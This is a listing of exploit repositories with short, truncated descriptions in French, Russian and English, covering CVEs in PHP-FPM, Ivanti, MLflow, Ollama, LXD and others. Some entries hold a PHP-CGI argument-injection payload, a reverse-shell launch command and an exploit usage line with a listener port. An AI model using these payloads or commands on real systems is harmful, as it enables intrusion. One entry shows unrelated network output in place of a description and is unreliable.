PHP-FPM-Remote-Code-Execution-Vulnerability-CVE-2019-11043-

CVE-2019-11043 1. Description de la vulnérabilité Sur Nginx, lors du traitement des requêtes contenant %0a, en raison du saut de ligne \n, PATHINFO devient vide via le split de fastcgipathinfo. PHP-FPM présente un défaut logique lorsque PATHINFO est vide. Un attaquant, par une construction...

git-lfs-RCE-exploit-CVE-2020-27955-Go

Эксплойт Git-lfs для удалённого выполнения кода RCE CVE-2020-27955 версия на Go Уязвимы: git, GitHub CLI gh, GitHub Desktop, Visual Studio Code, SourceTree, SmartGit, GitKraken и др. Обнаружил Dawid Golunski https://legalhackers.com https://exploitbox.io Протестировано на Windows: git, GitHub CLI...

watchTowr-vs-WatchGuard-CVE-2025-9242

watchTowr-vs-WatchGuard-CVE-2025-9242 Générateur d'artefacts de détection pour WatchGuard CVE-2025-9242 https://github.com/user-attachments/assets/097f099b-ba60-4223-adea-04279570460f Voir notre article de blog pour les détails techniques Détection en action python...

CVE-2025-47550

Instantio - Plugin WordPress 1: lo: mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000 link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00 inet 127.0.0.1/8 scope host lo validlft forever preferredlft forever inet6 ::1/128 scope host validlft forever preferredlft forever 2: eth0: mtu...

CVE-2024-53691

CVE-2024-53691 https://www.qnap.com/en/security-advisory/qsa-24-28 https://vulners.com/cve/CVE-2024-53691 CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N 8.7 "Si elle est exploitée, la vulnérabilité de suivi de lien pourrait permettre à des attaquants distants ayant obtenu un accè...

CVE-2024-37054

CVE-2024-37054 — RCE par désérialisation Pickle de MLflow Preuve de concept d'exploitation d'une vulnérabilité critique de désérialisation Pickle dans MLflow Tracking Server, permettant l'exécution de code à distance avec authentification. ⚠️ Uniquement à des fins éducatives et de tests de sécurit...

2017-11882_Generator

CVE-2017-11882 Une vulnérabilité d'exécution de code à distance existe dans le logiciel Microsoft Office lorsque celui-ci ne parvient pas à gérer correctement les objets en mémoire. Un attaquant qui exploite avec succès cette vulnérabilité pourrait exécuter du code arbitraire dans le contexte de...

CVE-2025-0282

PoC pour CVE-2025-0282 Un débordement de tampon basé sur la pile, non authentifié à distance, affectant Ivanti Connect Secure, Ivanti Policy Secure et Ivanti Neurons pour les passerelles ZTA Vue d'ensemble Il s'agit d'une preuve de concept d'exploit visant à démontrer l'exploitation de...

CVE-2020-9484

CVE-2020-9484 Cliquez sur l'image pour regarder la vidéo Usage Rendez-le exécutable chmod +x CVE-2020-9484 ./CVE-2020-9484 http://10.10.10.10./8080/ 10.10.1.1 4444...

CVE-2023-22518

Exploit CVE-2023-22518 Description Ce dépôt contient un script d'exploitation pour CVE-2023-22518. Le script permet des téléversements de fichiers non autorisés, pouvant conduire à une exécution de code à distance ou à d'autres vulnérabilités de sécurité. Avertissement Ce dépôt est à des fins...

Python-exploit-CVE-2020-25213

Description Le plugin File Manager wp-file-manager avant la version 6.9 pour WordPress permet à des attaquants distants de télécharger et d'exécuter du code PHP arbitraire car il renomme un fichier de connecteur elFinder d'exemple non sécurisé avec l'extension .php. Cela permet par exemple aux...

CVE-2024-4577-nuclei

CVE-2024-4577-nuclei Charge utile : ?%ADd+allowurlinclude%3d1+%ADd+autoprependfile%3dphp://input URL de test : /unfxu9a.phppayload /php-cgi/unfxu9a.phppayload /cgi-bin/php-cgi.exepayload /php-cgi/php-cgi.exepayload /php-cgi/php.exepayload /cgi-bin/php.exepayload Réf. :...

CVE-2026-86334

Path traversal in the CLI client image export and copy functionality in Canonical LXD from 4.0.2 before 4.0.14, 5.0.10, 5.21.8, and 6.10 on all platforms allows a remote malicious or machine-in-the-middle image server to overwrite arbitrary local files and execute code on the client system via a...

DEBIAN-CVE-2026-86334

Path traversal in the CLI client image export and copy functionality in Canonical LXD from 4.0.2 before 4.0.14, 5.0.10, 5.21.8, and 6.10 on all platforms allows a remote malicious or machine-in-the-middle image server to overwrite arbitrary local files and execute code on the client system via a...

CVE-2024-37032_CVE-2024-45436

CVE-2024-37032 & CVE-2024-45436 Ollama RCE CVE-2024-37032 CVE-2024-45436 Nécessite d'être exécuté sous Linux, l'environnement doit avoir gcc Installer golang, exécuter la commande suivante pour lancer un shell inverse go run main.go -target http://127.0.0.1:11434/ -exec "bash -i &...

CVE-2026-86334

Path traversal in the CLI client image export and copy functionality in Canonical LXD from 4.0.2 before 4.0.14, 5.0.10, 5.21.8, and 6.10 on all platforms allows a remote malicious or machine-in-the-middle image server to overwrite arbitrary local files and execute code on the client system via a...

UBUNTU-CVE-2026-86334

Path traversal in the CLI client image export and copy functionality in Canonical LXD from 4.0.2 before 4.0.14, 5.0.10, 5.21.8, and 6.10 on all platforms allows a remote malicious or machine-in-the-middle image server to overwrite arbitrary local files and execute code on the client system via a...

rapid7-CVE-2026-15409

CVE-2026-15409 Этот репозиторий содержит эксплойт доказательства концепции для CVE-2026-15409. Он устанавливает удалённое выполнение кода без прав root на SonicWall SMA 1000, реализуя протокол Erlang, ожидаемый на localhost:1050, и туннелируя его через веб-сокет для чтения/записи файлов и...

CVE-2021-21425

CVE-2021-21425 Écriture/Mise à jour arbitraire de YAML non authentifiée menant à l'exécution de code CVE-2021-21425 Référence : https://pentest.blog/unexpected-journey-7-gravcms-unauthenticated-arbitrary-yaml-write-update-leads-to-code-execution/...

CVE-2024-0195-SpiderFlow

CVE-2024-0195 Contrôle inapproprié de la génération de code 'Injection de code' Critique 2024 Résumé CVE-2024-0195 est une vulnérabilité critique d'injection de code dans l'application web spider-flow 0.4.3, spécifiquement dans la fonction FunctionService.saveFunction du fichier...